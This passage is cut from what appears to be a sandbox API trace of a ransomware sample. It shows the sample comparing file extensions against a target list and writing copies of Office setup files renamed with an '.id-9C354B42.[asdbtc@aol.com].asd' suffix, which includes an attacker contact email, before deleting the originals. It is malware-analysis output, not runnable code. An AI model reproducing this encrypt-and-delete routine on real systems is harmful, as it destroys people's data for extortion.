lpString2="d.xml") returned -1 [0047.268] lstrlenW (lpString=".pdf") returned 4 [0047.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.268] lstrlenW (lpString=".xls") returned 4 [0047.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.268] lstrlenW (lpString=".xlsx") returned 5 [0047.268] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0047.268] lstrlenW (lpString=".ppt") returned 4 [0047.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.268] lstrlenW (lpString=".zip") returned 4 [0047.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.268] lstrlenW (lpString=".rar") returned 4 [0047.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString=".bz2") returned 4 [0047.269] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString=".7z") returned 3 [0047.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.269] lstrlenW (lpString=".dbf") returned 4 [0047.269] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.269] lstrlenW (lpString=".1cd") returned 4 [0047.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.269] lstrlenW (lpString=".jpg") returned 4 [0047.269] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.269] lstrlenW (lpString=".doc") returned 4 [0047.269] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString=".docx") returned 5 [0047.269] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0047.269] lstrlenW (lpString=".pdf") returned 4 [0047.269] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString=".xls") returned 4 [0047.269] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.269] lstrlenW (lpString=".xlsx") returned 5 [0047.269] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0047.269] lstrlenW (lpString=".ppt") returned 4 [0047.270] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.270] lstrlenW (lpString=".zip") returned 4 [0047.270] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.270] lstrlenW (lpString=".rar") returned 4 [0047.270] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.270] lstrlenW (lpString=".bz2") returned 4 [0047.270] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.270] lstrlenW (lpString=".7z") returned 3 [0047.270] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.270] lstrlenW (lpString=".dbf") returned 4 [0047.270] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.270] lstrlenW (lpString=".1cd") returned 4 [0047.270] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.270] lstrlenW (lpString=".jpg") returned 4 [0047.270] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.270] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.270] lstrlenW (lpString="ea-sym.xml") returned 10 [0047.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.793] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=749) returned 1 [0048.793] CloseHandle (hObject=0x1e8) returned 1 [0048.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0048.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.794] lstrlenW (lpString=".doc") returned 4 [0048.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString=".docx") returned 5 [0048.794] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0048.794] lstrlenW (lpString=".pdf") returned 4 [0048.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString=".xls") returned 4 [0048.794] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString=".xlsx") returned 5 [0048.794] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0048.794] lstrlenW (lpString=".ppt") returned 4 [0048.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.794] lstrlenW (lpString=".zip") returned 4 [0048.794] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.794] lstrlenW (lpString=".rar") returned 4 [0048.794] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString=".bz2") returned 4 [0048.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString=".7z") returned 3 [0048.794] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.794] lstrlenW (lpString=".dbf") returned 4 [0048.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.794] lstrlenW (lpString=".1cd") returned 4 [0048.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.794] lstrlenW (lpString=".jpg") returned 4 [0048.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.795] lstrlenW (lpString=".doc") returned 4 [0048.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString=".docx") returned 5 [0048.795] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0048.795] lstrlenW (lpString=".pdf") returned 4 [0048.795] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString=".xls") returned 4 [0048.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString=".xlsx") returned 5 [0048.795] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0048.795] lstrlenW (lpString=".ppt") returned 4 [0048.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.795] lstrlenW (lpString=".zip") returned 4 [0048.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.795] lstrlenW (lpString=".rar") returned 4 [0048.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString=".bz2") returned 4 [0048.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString=".7z") returned 3 [0048.795] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.795] lstrlenW (lpString=".dbf") returned 4 [0048.795] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.795] lstrlenW (lpString=".1cd") returned 4 [0048.795] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0048.795] lstrlenW (lpString=".jpg") returned 4 [0048.795] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.796] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.796] lstrlenW (lpString="SETUP.XML") returned 9 [0048.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.818] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1452) returned 1 [0048.818] CloseHandle (hObject=0x1e0) returned 1 [0048.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0048.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.818] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.818] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.819] GetLastError () returned 0x0 [0048.819] ReadFile (in: hFile=0x1e0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0048.879] WriteFile (in: hFile=0x1e4, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0048.880] ReadFile (in: hFile=0x1e0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.880] WriteFile (in: hFile=0x1e4, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.880] SetEndOfFile (hFile=0x1e4) returned 1 [0048.889] CloseHandle (hObject=0x1e4) returned 1 [0048.890] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.890] SetEndOfFile (hFile=0x1e0) returned 1 [0048.891] CloseHandle (hObject=0x1e0) returned 1 [0048.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.892] lstrlenW (lpString=".doc") returned 4 [0048.892] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString=".docx") returned 5 [0048.892] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.892] lstrlenW (lpString=".pdf") returned 4 [0048.892] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString=".xls") returned 4 [0048.892] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString=".xlsx") returned 5 [0048.892] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.892] lstrlenW (lpString=".ppt") returned 4 [0048.892] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.892] lstrlenW (lpString=".zip") returned 4 [0048.892] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.892] lstrlenW (lpString=".rar") returned 4 [0048.892] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString=".bz2") returned 4 [0048.892] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString=".7z") returned 3 [0048.892] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.892] lstrlenW (lpString=".dbf") returned 4 [0048.892] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.892] lstrlenW (lpString=".1cd") returned 4 [0048.892] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.892] lstrlenW (lpString=".jpg") returned 4 [0048.892] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.893] lstrlenW (lpString=".doc") returned 4 [0048.893] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString=".docx") returned 5 [0048.893] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.893] lstrlenW (lpString=".pdf") returned 4 [0048.893] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString=".xls") returned 4 [0048.893] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString=".xlsx") returned 5 [0048.893] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.893] lstrlenW (lpString=".ppt") returned 4 [0048.893] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.893] lstrlenW (lpString=".zip") returned 4 [0048.893] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.893] lstrlenW (lpString=".rar") returned 4 [0048.893] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString=".bz2") returned 4 [0048.893] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString=".7z") returned 3 [0048.893] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.893] lstrlenW (lpString=".dbf") returned 4 [0048.893] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.893] lstrlenW (lpString=".1cd") returned 4 [0048.893] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0048.893] lstrlenW (lpString=".jpg") returned 4 [0048.893] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.894] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0048.894] lstrlenW (lpString="OCT.CHM") returned 7 [0048.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.961] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=71236) returned 1 [0048.961] CloseHandle (hObject=0x1e0) returned 1 [0048.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0048.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.962] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.962] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.962] GetLastError () returned 0x0 [0048.962] ReadFile (in: hFile=0x1e0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x11644, lpOverlapped=0x0) returned 1 [0048.974] WriteFile (in: hFile=0x1e4, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0048.976] ReadFile (in: hFile=0x1e0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.976] WriteFile (in: hFile=0x1e4, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0048.976] SetEndOfFile (hFile=0x1e4) returned 1 [0048.977] CloseHandle (hObject=0x1e4) returned 1 [0048.979] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.979] SetEndOfFile (hFile=0x1e0) returned 1 [0048.980] CloseHandle (hObject=0x1e0) returned 1 [0048.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.981] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0048.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.981] lstrlenW (lpString=".doc") returned 4 [0048.981] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.981] lstrlenW (lpString=".docx") returned 5 [0048.981] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0048.981] lstrlenW (lpString=".pdf") returned 4 [0048.981] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.981] lstrlenW (lpString=".xls") returned 4 [0048.981] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.981] lstrlenW (lpString=".xlsx") returned 5 [0048.981] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0048.981] lstrlenW (lpString=".ppt") returned 4 [0048.981] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.982] lstrlenW (lpString=".zip") returned 4 [0048.982] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.982] lstrlenW (lpString=".rar") returned 4 [0048.982] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.982] lstrlenW (lpString=".bz2") returned 4 [0048.982] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.982] lstrlenW (lpString=".7z") returned 3 [0048.982] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.982] lstrlenW (lpString=".dbf") returned 4 [0048.982] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.982] lstrlenW (lpString=".1cd") returned 4 [0048.982] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.982] lstrlenW (lpString=".jpg") returned 4 [0048.982] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0048.982] lstrlenW (lpString="C:\\Program 